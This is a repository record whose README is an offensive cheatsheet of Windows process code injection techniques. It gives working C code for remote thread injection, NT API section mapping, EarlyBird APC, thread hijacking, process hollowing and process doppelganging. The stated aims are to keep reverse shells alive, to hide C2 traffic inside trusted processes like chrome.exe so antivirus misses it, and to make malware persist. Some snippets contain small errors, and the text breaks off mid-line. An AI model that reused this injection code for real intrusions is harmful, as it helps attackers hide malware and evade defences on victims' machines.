{"id":28537222,"url":"https://github.com/malforge-maldev-public-organization/process-code-injection-techniques-cheatsheet","last_synced_at":"2026-02-11T06:33:12.093Z","repository":{"id":296850955,"uuid":"994665936","full_name":"Malforge-Maldev-Public-Organization/Process-Code-Injection-Techniques-Cheatsheet","owner":"Malforge-Maldev-Public-Organization","description":"A concise cheatsheet covering key process code injection techniques for red teaming and malware development.","archived":false,"fork":false,"pushed_at":"2025-06-04T12:53:18.000Z","size":29,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-08-30T09:24:17.024Z","etag":null,"topics":["early-apc-injection","injection-attacks","malware-development","malware-research","ntapi-injection","process-hallowing","process-injection","red-teaming","thread-hijacking"],"latest_commit_sha":null,"homepage":"https://malforge-group.in","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Malforge-Maldev-Public-Organization.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-06-02T09:43:29.000Z","updated_at":"2025-06-04T12:53:20.000Z","dependencies_parsed_at":null,"dependency_job_id":"41697538-fb11-47cb-9b5a-b52d988ea01a","html_url":"https://github.com/Malforge-Maldev-Public-Organization/Process-Code-Injection-Techniques-Cheatsheet","commit_stats":null,"previous_names":["malforge-maldev-public-organization/process-code-injection-techniques-cheatsheet"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Malforge-Maldev-Public-Organization/Process-Code-Injection-Techniques-Cheatsheet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Malforge-Maldev-Public-Organization%2FProcess-Code-Injection-Techniques-Cheatsheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Malforge-Maldev-Public-Organization%2FProcess-Code-Injection-Techniques-Cheatsheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Malforge-Maldev-Public-Organization%2FProcess-Code-Injection-Techniques-Cheatsheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Malforge-Maldev-Public-Organization%2FProcess-Code-Injection-Techniques-Cheatsheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Malforge-Maldev-Public-Organization","download_url":"https://codeload.github.com/Malforge-Maldev-Public-Organization/Process-Code-Injection-Techniques-Cheatsheet/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Malforge-Maldev-Public-Organization%2FProcess-Code-Injection-Techniques-Cheatsheet/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29328261,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-11T06:13:03.264Z","status":"ssl_error","status_checked_at":"2026-02-11T06:12:55.843Z","response_time":97,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["early-apc-injection","injection-attacks","malware-development","malware-research","ntapi-injection","process-hallowing","process-injection","red-teaming","thread-hijacking"],"created_at":"2025-06-09T18:09:18.551Z","updated_at":"2026-02-11T06:33:12.086Z","avatar_url":"https://github.com/Malforge-Maldev-Public-Organization.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Process Code Injection Techniques Cheatsheet\n\n## Introduction\n\nWelcome to my latest article! Today, I’ve put together a comprehensive cheatsheet covering the most well-known techniques for injecting code into remote processes. This guide will be extensive, so let’s dive right in.\n\n#### Why you need to use Process Code Injection?\n\n- **Time of Living:** If you're using a reverse shell and the user runs your executable, you'll receive the shell. However, if the user closes your executable, the connection is lost. By injecting the reverse shell into a persistent process like explorer.exe, the user can close your original executable without killing your shell — because the malicious code now runs in a separate, stable process.\n\n- **Changing the Working Process:** When your malware communicates with a C2 server, antivirus solutions can flag it — especially if it's an unknown or suspicious application making outbound requests. To avoid this, it's smart to migrate your payload to a trusted process like chrome.exe or another legitimate browser that regularly accesses the internet.\n\n- **Creating Persistence:** You can increase your chances of staying active by injecting your payload into multiple remote processes. Even if one is terminated, others may keep the malware alive.\n\n## Process Code Injection\n\n![image](https://github.com/user-attachments/assets/89c48b7f-6515-41a5-9f79-9aaa28c04725)\n\n### Basic Injection\n\nThis is a basic remote process injection — just three essential steps that form the foundation for understanding the technique.\n\n**Pros:**\n  - Any…\n\n**Cons:**\n  - Very easy to detect by AV\n  - Most basic technique\n\n**Steps:**\n  - Allocate memory in the remote process using `VirtualAllocEx`.\n  - Write your shellcode into the allocated memory using `WriteProcessMemory`.\n  - Execute the shellcode in the target process using `CreateRemoteThread`.\n\n**Code**\n\n```C\nint Inject(HANDLE hProc, unsigned char *payload, unsigned int payload_len)\n{\n    LPVOID pRemoteCode = NULL;\n    HANDLE hThread = NULL;\n\n    pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);\n    WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);\n\n    hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);\n    if (hThread != NULL)\n    {\n        WaitForSingleObject(hThread, 500);\n        CloseHandle(hThread);\n        return 0;\n    }\n    return -1;\n}\n```\n\n**VirusTotal:**\n\n\u003e VirusTotal\\\nFile [Virustotal](https://www.virustotal.com/gui/file/06a0bda2800fdaf5b68ec2e54b96efeab914d00e26e27fa5c0c6732dfa190117?nocache=1)\n\n\n![image](https://github.com/user-attachments/assets/c5f1674d-ac91-49af-9e2d-1102b92364ec)\n\n**Article:**\n\n\u003e Process Code Injection\\\nIntroduction [medium.com](https://medium.com/@s12deff/process-code-injection-d3ad8d0c3bbd)\n\n---\n\n### NT API Injection\n\nIn this technique, you create a new memory section using NtCreateSection, which holds your malicious shellcode. Then, using NtMapViewOfSection, you map (share) this memory section into the address space of a remote process.\n\n**Pros:**\n  - You only share the code, not inject shellcode directly.\n  - Inject a remote view instead of raw code.\n  - Provides better evasion than basic process injection.\n\n**Cons:**\n  - Detectable by AV, defenders, and EDR.\n\n**Steps:**\n  - Create new memory section\n  - Copy shellcode to section\n  - Create local view\n  - Map remote view in target process\n  - Execute shellcode remotely\n\n#### Code\n\n```C\nint InjectVIEW(HANDLE hProc, unsigned char *payload, unsigned int payload_len)\n{\n\n    HANDLE hSection = NULL;\n    PVOID pLocalView = NULL, pRemoteView = NULL;\n    HANDLE hThread = NULL;\n    CLIENT_ID cid;\n    // create memory section\n    NtCreateSection_t pNtCreateSection = (NtCreateSection_t)GetProcAddress(GetModuleHandle(\"NTDLL.DLL\"), \"NtCreateSection\");\n    if (pNtCreateSection == NULL)\n        return -2;\n    pNtCreateSection(\u0026hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER)\u0026payload_len, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);\n\n    // create local section view\n    NtMapViewOfSection_t pNtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(GetModuleHandle(\"NTDLL.DLL\"), \"NtMapViewOfSection\");\n    if (pNtMapViewOfSection == NULL)\n        return -2;\n    pNtMapViewOfSection(hSection, GetCurrentProcess(), \u0026pLocalView, NULL, NULL, NULL, (SIZE_T *)\u0026payload_len, ViewUnmap, NULL, PAGE_READWRITE);\n\n    // throw the payload into the section\n    memcpy(pLocalView, payload, payload_len);\n\n    // create remote section view (target process)\n    pNtMapViewOfSection(hSection, hProc, \u0026pRemoteView, NULL, NULL, NULL, (SIZE_T *)\u0026payload_len, ViewUnmap, NULL, PAGE_EXECUTE_READ);\n\n    // execute the payload\n    RtlCreateUserThread_t pRtlCreateUserThread = (RtlCreateUserThread_t)GetProcAddress(GetModuleHandle(\"NTDLL.DLL\"), \"RtlCreateUserThread\");\n    if (pRtlCreateUserThread == NULL)\n        return -2;\n    pRtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, pRemoteView, 0, \u0026hThread, \u0026cid);\n    if (hThread != NULL)\n    {\n        WaitForSingleObject(hThread, 500);\n        CloseHandle(hThread);\n        return 0;\n    }\n    return -1;\n}\n```\n\n**ViruTotal:**\n\n\u003e VirusTotal\\\nFile [virustotal.com](https://www.virustotal.com/gui/file/2c50854c278498088806523ca3f9273bc75c6687f7bf25ece1dd52bc161ad6b0?nocache=1)\n\n![image](https://github.com/user-attachments/assets/b62f2dfc-5900-479d-9f8d-684276009b48)\n\n**Article:**\n\n\u003e NT API Code Injection\\\nIntroduction [medium.com](https://medium.com/@s12deff/nt-api-code-injection-b7dccca40710)\n\n---\n\n### EarlyBird APC Injection\n\nThis attack creates a new process in a suspended state, places the payload in a new memory buffer, and queues it to the APC. Once the thread is resumed, the payload executes. Unlike classic APC injection, this method allows you to control exactly when the code runs.\n\n**Pros:**\n  - Uses Asynchronous Procedure Call (APC)\n  - Malicious code runs early in process initialization\n  - Increases chances of bypassing AV/EDR hooks\n\n**Cons:**\n  - Well-known to AV/EDR\n  - If detected, your process is terminated\n\n**Steps:**\n  - Create a legitimate process in suspended state\n  - Allocate memory in the target process\n  - Write shellcode to allocated memory\n  - Declare APC routine pointing to shellcode\n  - Queue APC to the main thread\n  - Resume thread to execute shellcode\n  -Shellcode executed!\n\n**Code**\n\n```C\nint main(void)\n{\n\n    int pid = 0;\n    HANDLE hProc = NULL;\n\n    STARTUPINFO si;\n    PROCESS_INFORMATION pi;\n    void *pRemoteCode;\n\n    char unsigned payload[] = \"PAYLOAD HERE\" unsigned int payload_len = sizeof(payload)\n\n        ZeroMemory(\u0026si, sizeof(si));\n    si.cb = sizeof(si);\n    ZeroMemory(\u0026pi, sizeof(pi));\n\n    // Create process in status Suspended\n    CreateProcessA(0, \"notepad.exe\", 0, 0, 0, CREATE_SUSPENDED, 0, 0, \u0026si, \u0026pi);\n\n    // Allocate memory for payload and throw it in\n    pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);\n    WriteProcessMemory(pi.hProcess, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);\n\n    QueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL);\n\n    ResumeThread(pi.hThread);\n\n    return 0;\n}\n```\n\n**Virustotal:**\n\n\u003e VirusTotal\\\nFile [virustotal.com](https://www.virustotal.com/gui/file/1b4655260a61608f961f50c2eb088df803e000169d55a70e016b0f5b5c5f5718)\n\n![image](https://github.com/user-attachments/assets/bc1df543-a7af-4981-98eb-a2d4d4f42fa6)\n\n**Article:**\n\n\u003e EarlyBird APC Code Injection\\\nIntroduction [medium.com](https://medium.com/@s12deff/earlybird-apc-code-injection-92b302943200)\n\n---\n\n### Thread Hijacking Injection\n\nThis technique is effective because it doesn’t require creating a new thread — it uses an existing one. First, allocate memory in the target process using `VirtualAllocEx`, then write your payload with `WriteProcessMemory`. Next, suspend the victim thread with `SuspendThread`, modify its execution flow using `GetThreadContext` and `SetThreadContext`, and finally resume it with ResumeThread to execute your code.\n\n**Pros:**\n  - No need to create a new thread\n  - Less known injection technique\n  - Slightly more evasive than common methods\n\n**Cons:**\n  - Not all threads are reliable\n  - Detectable by AV/EDR\n\n**Steps:**\n  - Allocate memory in remote process (`VirtualAllocEx`)\n  - Write shellcode to allocated memory (`WriteProcessMemory`)\n  - Suspend target thread (`SuspendThread`)\n  - Set thread context to point to shellcode (`SetThreadContext`)\n  - Resume thread to execute payload (`ResumeThread`)\n\n**Code:**\n\n```C\nint InjectCTX(int pid, HANDLE hProc, unsigned char *payload, unsigned int payload_len)\n{\n\n    HANDLE hThread = NULL;\n    LPVOID pRemoteCode = NULL;\n    CONTEXT ctx;\n\n    // find a thread in target process\n    hThread = FindThread(pid);\n    if (hThread == NULL)\n    {\n        printf(\"Error, hijack unsuccessful.\\n\");\n        return -1;\n    }\n\n    // Decrypt payload\n    AESDecrypt((char *)payload, payload_len, (char *)key, sizeof(key));\n\n    // perform payload injection\n    pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);\n    WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);\n\n    // execute the payload by hijacking a thread in target process\n    SuspendThread(hThread);\n    ctx.ContextFlags = CONTEXT_FULL;\n    GetThreadContext(hThread, \u0026ctx);\n#ifdef _M_IX86\n    ctx.Eip = (DWORD_PTR)pRemoteCode;\n#else\n    ctx.Rip = (DWORD_PTR)pRemoteCode;\n#endif\n    SetThreadContext(hThread, \u0026ctx);\n\n    return ResumeThread(hThread);\n}\n```\n\n**Virustotal:**\n\n\u003e VirusTotal\\\nFile [virustotal.com](https://www.virustotal.com/gui/file/a14fbd14a89af87021de232c9ed3f4e4a34872b279837f36f31f5ba6be552ea4?nocache=1)\n\n![image](https://github.com/user-attachments/assets/47111178-8180-4010-867b-4a37a6e3e78e)\n\n**Article:**\n\n\u003e Hijacking Remote Thread to Inject Code — Malware Dev\\\nIntroduction [medium.com](https://medium.com/@s12deff/hijacking-remote-thread-to-inject-code-malware-dev-85de21ad1e0f)\n\n---\n\n### Process Hollowing\n\nProcess Hollowing is a straightforward technique where an attacker creates a suspended process, unmaps its original image from memory, writes a malicious binary in its place, and then resumes the process to execute the injected code.\n\n**Pros:**\n  - Advanced injection technique\n  - legitimate processes\n\n**Cons:**\n  - Easily detectable by AV/EDRs\n\n**Steps:**\n  - Create a new suspended process using `CreateProcessA()` with the `CREATE_SUSPENDED` flag\n  - Unmap the original process image with `NtUnmapViewOfSection()`\n  - Allocate memory and write the malicious payload using `VirtualAllocEx()` and `WriteProcessMemory()`\n  - Set the thread’s entry point by updating EAX with `SetThreadContext()`\n  - Resume the suspended thread with `ResumeThread()` to start execution\n\n**Code:**\n\n```C\nnt main()\n{\n    // create destination process - this is the process to be hollowed out\n    LPSTARTUPINFOA si = new STARTUPINFOA();\n    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();\n    PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();\n    DWORD returnLenght = 0;\n    CreateProcessA(NULL, (LPSTR) \"c:\\\\windows\\\\syswow64\\\\notepad.exe\", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);\n    HANDLE destProcess = pi-\u003ehProcess;\n\n    // get destination imageBase offset address from the PEB\n    NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), \u0026returnLenght);\n    DWORD pebImageBaseOffset = (DWORD)pbi-\u003ePebBaseAddress + 8;\n\n    // get destination imageBaseAddress\n    LPVOID destImageBase = 0;\n    SIZE_T bytesRead = NULL;\n    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, \u0026destImageBase, 4, \u0026bytesRead);\n\n    // read source file - this is the file that will be executed inside the hollowed process\n    HANDLE sourceFile = CreateFileA(\"C:\\\\temp\\\\regshot.exe\", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);\n    DWORD sourceFileSize = GetFileSize(sourceFile, NULL);\n    LPDWORD fileBytesRead = 0;\n    LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);\n    ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);\n\n    // get source image size\n    PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;\n    PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders-\u003ee_lfanew);\n    SIZE_T sourceImageSize = sourceImageNTHeaders-\u003eOptionalHeader.SizeOfImage;\n\n    // carve out the destination image\n    NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA(\"ntdll\"), \"NtUnmapViewOfSection\"));\n    myNtUnmapViewOfSection(destProcess, destImageBase);\n\n    // allocate new memory in destination image for the source image\n    LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n    destImageBase = newDestImageBase;\n\n    // get delta between sourceImageBaseAddress and destinationImageBaseAddress\n    DWORD deltaImageBase = (DWORD)destImageBase - sourceImageNTHeaders-\u003eOptionalHeader.ImageBase;\n\n    // set sourceImageBase to destImageBase and copy the source Image headers to the destination image\n    sourceImageNTHeaders-\u003eOptionalHeader.ImageBase = (DWORD)destImageBase;\n    WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders-\u003eOptionalHeader.SizeOfHeaders, NULL);\n\n    // get pointer to first source image section\n    PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders-\u003ee_lfanew + sizeof(IMAGE_NT_HEADERS32));\n    PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;\n    int err = GetLastError();\n\n    // copy source image sections to destination\n    for (int i = 0; i \u003c sourceImageNTHeaders-\u003eFileHeader.NumberOfSections; i++)\n    {\n        PVOID destinationSectionLocation = (PVOID)((DWORD)destImageBase + sourceImageSection-\u003eVirtualAddress);\n        PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection-\u003ePointerToRawData);\n        WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection-\u003eSizeOfRawData, NULL);\n        sourceImageSection++;\n    }\n\n    // get address of the relocation table\n    IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders-\u003eOptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];\n\n    // patch the binary with relocations\n    sourceImageSection = sourceImageSectionOld;\n    for (int i = 0; i \u003c sourceImageNTHeaders-\u003eFileHeader.NumberOfSections; i++)\n    {\n        BYTE *relocSectionName = (BYTE *)\".reloc\";\n        if (memcmp(sourceImageSection-\u003eName, relocSectionName, 5) != 0)\n        {\n            sourceImageSection++;\n            continue;\n        }\n        DWORD sourceRelocationTableRaw = sourceImageSection-\u003ePointerToRawData;\n        DWORD relocationOffset = 0;\n\n        while (relocationOffset \u003c relocationTable.Size)\n        {\n            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);\n            relocationOffset += sizeof(BASE_RELOCATION_BLOCK);\n            DWORD relocationEntryCount = (relocationBlock-\u003eBlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);\n            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);\n\n            for (DWORD y = 0; y \u003c relocationEntryCount; y++)\n            {\n                relocationOffset += sizeof(BASE_RELOCATION_ENTRY);\n\n                if (relocationEntries[y].Type == 0)\n                {\n                    continue;\n                }\n\n                DWORD patchAddress = relocationBlock-\u003ePageAddress + relocationEntries[y].Offset;\n                DWORD patchedBuffer = 0;\n                ReadProcessMemory(destProcess, (LPCVOID)((DWORD)destImageBase + patchAddress), \u0026patchedBuffer, sizeof(DWORD), \u0026bytesRead);\n                patchedBuffer += deltaImageBase;\n\n                WriteProcessMemory(destProcess, (PVOID)((DWORD)destImageBase + patchAddress), \u0026patchedBuffer, sizeof(DWORD), fileBytesRead);\n                int a = GetLastError();\n            }\n        }\n    }\n\n    // get context of the dest process thread\n    LPCONTEXT context = new CONTEXT();\n    context-\u003eContextFlags = CONTEXT_INTEGER;\n    GetThreadContext(pi-\u003ehThread, context);\n\n    // update dest image entry point to the new entry point of the source image and resume dest image thread\n    DWORD patchedEntryPoint = (DWORD)destImageBase + sourceImageNTHeaders-\u003eOptionalHeader.AddressOfEntryPoint;\n    context-\u003eEax = patchedEntryPoint;\n    SetThreadContext(pi-\u003ehThread, context);\n    ResumeThread(pi-\u003ehThread);\n    return 0;\n}\n```\n\n**Virustotal:**\n\n![image](https://github.com/user-attachments/assets/24be969c-5e10-4ae3-86dc-054df4c74911)\n\n**Article:**\n\n\u003e Process Hollowing\\\nIntroduction [medium.com](https://medium.com/@s12deff/process-hollowing-f04ab34fa185)\n\n---\n\n### Process Doppelganging\nProcess Doppelgänging is a code injection technique that exploits NTFS transaction-related Windows API calls. Because these APIs were rarely used for malicious purposes, this method has been less known to AV vendors and, as a result, was more likely to evade detection.\n\n**Difference between Process Hollowing and Process Doppelganging**\n\n“The Process Doppleganging, in contrary, substitutes the PE content before even the process is created. We overwrite the file image before the loading starts — so, WindowsLoader automatically takes care of the fore-mentioned steps. My sample implementation of this technique can be found here.”\n\n**Pros:**\n  - Less detectable than Process Doppelgänging\n  - Modern and advanced technique\n\n**Cons:**\n  - Difficult to implemenmt\n\n**Steps:**\n  - Transact — Overwrite legitimate executable with a malicious one\n  - Load — Load the malicious executable\n  - Rollback — Roll back to the original executable\n  - Animate — Execute the malicious code (bring the Doppelganger to life)\n\n**Code:**\n\n```C\n#include \u003cWindows.h\u003e\n#include \u003cKtmW32.h\u003e\n\n#include \u003ciostream\u003e\n#include \u003cstdio.h\u003e\n\n#include \"ntddk.h\"\n#include \"ntdll_undoc.h\"\n#include \"util.h\"\n\n#include \"pe_hdrs_helper.h\"\n#include \"process_env.h\"\n\n#pragma comment(lib, \"KtmW32.lib\")\n#pragma comment(lib, \"Ntdll.lib\")\n\n#define PAGE_SIZE 0x1000\n\nHANDLE make_transacted_section(BYTE *payloadBuf, DWORD payloadSize)\n{\n    DWORD options, isolationLvl, isolationFlags, timeout;\n    options = isolationLvl = isolationFlags = timeout = 0;\n\n    HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);\n    if (hTransaction == INVALID_HANDLE_VALUE)\n    {\n        std::cerr \u003c\u003c \"Failed to create transaction!\" \u003c\u003c std::endl;\n        return INVALID_HANDLE_VALUE;\n    }\n    wchar_t dummy_name[MAX_PATH] = {0};\n    wchar_t temp_path[MAX_PATH] = {0};\n    DWORD size = GetTempPathW(MAX_PATH, temp_path);\n\n    GetTempFileNameW(temp_path, L\"TH\", 0, dummy_name);\n    HANDLE hTransactedWriter = CreateFileTransactedW(dummy_name,\n                                                     GENERIC_WRITE,\n                                                     FILE_SHARE_READ,\n                                                     NULL,\n                                                     CREATE_ALWAYS,\n                                                     FILE_ATTRIBUTE_NORMAL,\n                                                     NULL,\n                                                     hTransaction,\n                                                     NULL,\n                                                     NULL);\n    if (hTransactedWriter == INVALID_HANDLE_VALUE)\n    {\n        std::cerr \u003c\u003c \"Failed to create transacted file: \" \u003c\u003c GetLastError() \u003c\u003c std::endl;\n        return INVALID_HANDLE_VALUE;\n    }\n\n    DWORD writtenLen = 0;\n    if (!WriteFile(hTransactedWriter, payloadBuf, payloadSize, \u0026writtenLen, NULL))\n    {\n        std::cerr \u003c\u003c \"Failed writing payload! Error: \" \u003c\u003c GetLastError() \u003c\u003c std::endl;\n        return INVALID_HANDLE_VALUE;\n    }\n    CloseHandle(hTransactedWriter);\n    hTransactedWriter = nullptr;\n\n    HANDLE hTransactedReader = CreateFileTransactedW(dummy_name,\n                                                     GENERIC_READ,\n                                                     FILE_SHARE_WRITE,\n                                                     NULL,\n                                                     OPEN_EXISTING,\n                                                     FILE_ATTRIBUTE_NORMAL,\n                                                     NULL,\n                                                     hTransaction,\n                                                     NULL,\n                                                     NULL);\n    if (hTransactedReader == INVALID_HANDLE_VALUE)\n    {\n        std::cerr \u003c\u003c \"Failed to open transacted file: \" \u003c\u003c GetLastError() \u003c\u003c std::endl;\n        return INVALID_HANDLE_VALUE;\n    }\n\n    HANDLE hSection = nullptr;\n    NTSTATUS status = NtCreateSection(\u0026hSection,\n                                      SECTION_MAP_EXECUTE,\n                                      NULL,\n                                      0,\n                                      PAGE_READONLY,\n                                      SEC_IMAGE,\n                                      hTransactedReader);\n    if (status != STATUS_SUCCESS)\n    {\n        std::cerr \u003c\u003c \"NtCreateSection failed: \" \u003c\u003c std::hex \u003c\u003c status \u003c\u003c std::endl;\n        return INVALID_HANDLE_VALUE;\n    }\n    CloseHandle(hTransactedReader);\n    hTransactedReader = nullptr;\n\n    if (RollbackTransaction(hTransaction) == FALSE)\n    {\n        std::cerr \u003c\u003c \"RollbackTransaction failed: \" \u003c\u003c std::hex \u003c\u003c GetLastError() \u003c\u003c std::endl;\n        return INVALID_HANDLE_VALUE;\n    }\n    CloseHandle(hTransaction);\n    hTransaction = nullptr;\n\n    return hSection;\n}\n\nbool process_doppel(wchar_t *targetPath, BYTE *payloadBuf, DWORD payloadSize)\n{\n    HANDLE hSection = make_transacted_section(payloadBuf, payloadSize);\n    if (!hSection || hSection == INVALID_HANDLE_VALUE)\n    {\n        return false;\n    }\n    HANDLE hProcess = nullptr;\n    NTSTATUS status = NtCreateProcessEx(\n        \u0026hProcess,          // ProcessHandle\n        PROCESS_ALL_ACCESS, // DesiredAccess\n        NULL,               // ObjectAttributes\n        NtCurrentProcess(), // ParentProcess\n        PS_INHERIT_HANDLES, // Flags\n        hSection,           // sectionHandle\n        NULL,               // DebugPort\n        NULL,               // ExceptionPort\n        FALSE               // InJob\n    );\n    if (status != STATUS_SUCCESS)\n    {\n        std::cerr \u003c\u003c \"NtCreateProcessEx failed! Status: \" \u003c\u003c std::hex \u003c\u003c status \u003c\u003c std::endl;\n        if (status == STATUS_IMAGE_MACHINE_TYPE_MISMATCH)\n        {\n            std::cerr \u003c\u003c \"[!] The payload has mismatching bitness!\" \u003c\u003c std::endl;\n        }\n        return false;\n    }\n\n    PROCESS_BASIC_INFORMATION pi = {0};\n\n    DWORD ReturnLength = 0;\n    status = NtQueryInformationProcess(\n        hProcess,\n        ProcessBasicInformation,\n        \u0026pi,\n        sizeof(PROCESS_BASIC_INFORMATION),\n        \u0026ReturnLength);\n    if (status != STATUS_SUCCESS)\n    {\n        std::cerr \u003c\u003c \"NtQueryInformationProcess failed: \" \u003c\u003c std::hex \u003c\u003c status \u003c\u003c std::endl;\n        return false;\n    }\n    PEB peb_copy = {0};\n    if (!buffer_remote_peb(hProcess, pi, peb_copy))\n    {\n        return false;\n    }\n    ULONGLONG imageBase = (ULONGLONG)peb_copy.ImageBaseAddress;\n#ifdef _DEBUG\n    std::cout \u003c\u003c \"ImageBase address: \" \u003c\u003c (std::hex) \u003c\u003c (ULONGLONG)imageBase \u003c\u003c std::endl;\n#endif\n    DWORD payload_ep = get_entry_point_rva(payloadBuf);\n    ULONGLONG procEntry = payload_ep + imageBase;\n\n    if (!setup_process_parameters(hProcess, pi, targetPath))\n    {\n        std::cerr \u003c\u003c \"Parameters setup failed\" \u003c\u003c std::endl;\n        return false;\n    }\n    std::cout \u003c\u003c \"[+] Process created! Pid = \" \u003c\u003c std::dec \u003c\u003c GetProcessId(hProcess) \u003c\u003c \"\\n\";\n#ifdef _DEBUG\n    std::cerr \u003c\u003c \"EntryPoint at: \" \u003c\u003c (std::hex) \u003c\u003c (ULONGLONG)procEntry \u003c\u003c std::endl;\n#endif\n    HANDLE hThread = NULL;\n    status = NtCreateThreadEx(\u0026hThread,\n                              THREAD_ALL_ACCESS,\n                              NULL,\n                              hProcess,\n                              (LPTHREAD_START_ROUTINE)procEntry,\n                              NULL,\n                              FALSE,\n                              0,\n                              0,\n                              0,\n                              NULL);\n\n    if (status != STATUS_SUCCESS)\n    {\n        std::cerr \u003c\u003c \"NtCreateThreadEx failed: \" \u003c\u003c std::hex \u003c\u003c status \u003c\u003c std::endl;\n        return false;\n    }\n\n    return true;\n}\n\nint wmain(int argc, wchar_t *argv[])\n{\n#ifdef _WIN64\n    const bool is32bit = false;\n#else\n    const bool is32bit = true;\n#endif\n    if (argc \u003c 2)\n    {\n        std::cout \u003c\u003c \"Process Doppelganging (\";\n        if (is32bit)\n            std::cout \u003c\u003c \"32bit\";\n        else\n            std::cout \u003c\u003c \"64bit\";\n        std::cout \u003c\u003c \")\\n\";\n        std::cout \u003c\u003c \"params: \u003cpayload path\u003e [*target path]\\n\"\n                  \u003c\u003c std::endl;\n        std::cout \u003c\u003c \"* - optional\" \u003c\u003c std::endl;\n        system(\"pause\");\n        return 0;\n    }\n    if (init_ntdll_func() == false)\n    {\n        return -1;\n    }\n    wchar_t defaultTarget[MAX_PATH] = {0};\n    get_calc_path(defaultTarget, MAX_PATH, is32bit);\n    wchar_t *targetPath = defaultTarget;\n    if (argc \u003e= 3)\n    {\n        targetPath = argv[2];\n    }\n    wchar_t *payloadPath = argv[1];\n    size_t payloadSize = 0;\n\n    BYTE *payloadBuf = buffer_payload(payloadPath, payloadSize);\n    if (payloadBuf == NULL)\n    {\n        std::cerr \u003c\u003c \"Cannot read 